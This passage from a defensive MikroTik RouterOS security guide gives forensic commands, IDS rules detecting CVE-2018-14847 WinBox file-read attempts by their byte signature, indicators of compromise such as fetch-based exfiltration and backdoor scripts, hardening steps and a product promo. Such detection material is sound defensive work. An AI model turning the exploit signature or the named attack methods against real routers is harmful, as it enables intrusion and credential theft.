# Check for unexplained scheduler tasks (malware persistence)
ssh admin@192.168.1.1 '/system scheduler print'

# Check for unexpected scripts
ssh admin@192.168.1.1 '/system script print'

# Check for unexpected static DNS entries
ssh admin@192.168.1.1 '/ip dns static print'

# Check active connections to management ports
ssh admin@192.168.1.1 '/ip firewall connection print where dst-port=8291 or dst-port=8728'

Network-Level Detection

# Detect CVE-2018-14847 exploitation attempts (IDS/IPS rule)
# Suricata/Snort rule targeting the WinBox pre-auth file read pattern
cat << 'EOF' > mikrotik_winbox_exploit.rules
# CVE-2018-14847 WinBox arbitrary file read detection
alert tcp any any -> any 8291 (
    msg:"MIKROTIK CVE-2018-14847 WinBox Arbitrary File Read Attempt";
    content:"|6f 01 00 66 4c 01 00 ff 09 00 ff 08 00 66 4c 00 00|";
    depth:20;
    threshold:type limit, track by_src, count 1, seconds 60;
    classtype:attempted-admin;
    sid:9001847; rev:2;
)

# Detect WinBox connections from unexpected sources
alert tcp $EXTERNAL_NET any -> $HOME_NET 8291 (
    msg:"MIKROTIK WinBox Connection from External Network";
    flags:S;
    threshold:type limit, track by_src, count 1, seconds 300;
    classtype:policy-violation;
    sid:9001848; rev:1;
)
EOF

# Check for the user.dat filename in network traffic
tcpdump -A -i eth0 'tcp port 8291' | grep -a 'user.dat'

# Monitor SNMP walk activity
tcpdump -i eth0 'udp port 161' -nn | awk '{print $3}' | sort | uniq -c | sort -rn | head

Forensic Indicators of Compromise

Indicator Command to Check What It Means
Unexpected scheduler tasks /system scheduler print Persistence mechanism; malware often adds cron-style tasks
Unknown scripts /system script print Backdoor scripts; check content for Base64 or HTTP fetch calls
Modified DNS servers /ip dns print DNS hijacking; compare against known-good ISP DNS IPs
Static DNS entries /ip dns static print Domain hijacking entries for financial/auth targets
Unexpected users /user print Backdoor accounts added post-compromise
Firewall rule changes /ip firewall filter print Rules disabling security or allowing new access
Proxy/SOCKS enabled /ip socks print Router enrolled as proxy node in botnet
Unusual fetch activity /log print where message~"fetch" C2 check-in or data exfiltration in progress

14. Defense Recommendations

Control Implementation Priority
Patch CVE-2018-14847 Upgrade to RouterOS 6.49.x (stable) or 7.x — IMMEDIATELY Critical
Patch CVE-2023-30799 Upgrade to RouterOS 6.49.8+ or 7.10.1+ Critical
Change default credentials Set a strong password on admin; create named accounts; disable anonymous login Critical
Restrict management interfaces Use /ip service set winbox address=10.0.0.0/8 to allow-list management sources; disable all unused services (telnet, ftp, api) Critical
Disable unused services /ip service disable telnet,ftp,api,www — only enable SSH + WinBox + API-SSL from trusted subnets High
SNMP hardening Disable SNMP if not needed; use SNMPv3 with auth+priv; change community strings High
Enable firewall on management ports Block TCP 8291, 8728, 8729, 22 from all interfaces except management VLAN/IP range High
Enable SSH key authentication Import public keys to admin account; disable password auth: /ip ssh set strong-crypto=yes High
RouterOS API-SSL only Disable plaintext API (TCP 8728); use API-SSL (TCP 8729) with a valid certificate High
Enable logging to syslog Forward logs to central SIEM: /system logging action set remote remote=10.0.0.5 Medium
Disable the WWW service Disable WebFig: /ip service disable www,www-ssl — use WinBox or SSH instead High
Enable strong crypto /ip ssh set strong-crypto=yes and /ip service set ssh address=10.0.0.0/8 Medium
Restrict fetch command Remove access to fetch via Dude / script policies for non-admin accounts; monitor scheduler for fetch commands Medium
Regular config backups Export configuration regularly and compare against baseline to detect unauthorized changes Medium

Minimal Hardening Script

# Minimal RouterOS hardening — apply immediately after deployment
# Run via SSH or paste into terminal

# 1. Set a strong admin password
/user set admin password="ChangeThisToAStrongPassword!"

# 2. Restrict all management services to internal subnet only
/ip service set telnet disabled=yes
/ip service set ftp disabled=yes
/ip service set www disabled=yes
/ip service set www-ssl disabled=yes
/ip service set api disabled=yes
/ip service set api-ssl disabled=yes
/ip service set winbox address=10.0.0.0/8
/ip service set ssh address=10.0.0.0/8

# 3. Enable strong SSH crypto
/ip ssh set strong-crypto=yes

# 4. Disable SNMP (enable and configure SNMPv3 only if monitoring required)
/snmp set enabled=no

# 5. Disable neighbor discovery on WAN interface (leaks identity)
/ip neighbor discovery-settings set discover-interface-list=LAN

# 6. Firewall: drop management port access from WAN
/ip firewall filter add chain=input action=drop \
    in-interface-list=WAN \
    dst-port=8291,8728,8729,22,23,21,80,443 \
    protocol=tcp \
    comment="Block management from WAN" place-before=0

# 7. Enable syslog forwarding
/system logging action set remote bsd-syslog=yes remote=10.0.0.5 src-address=0.0.0.0
/system logging add topics=system,critical,warning action=remote

# 8. Verify current service state
/ip service print

Automate MikroTik RouterOS Security Testing

Ironimo automatically scans for CVE-2018-14847, CVE-2023-30799, default credentials, open management APIs, SNMP misconfigurations, and dozens of other RouterOS vulnerabilities — delivering prioritized findings without manual tooling.

Start free scan

Key Takeaways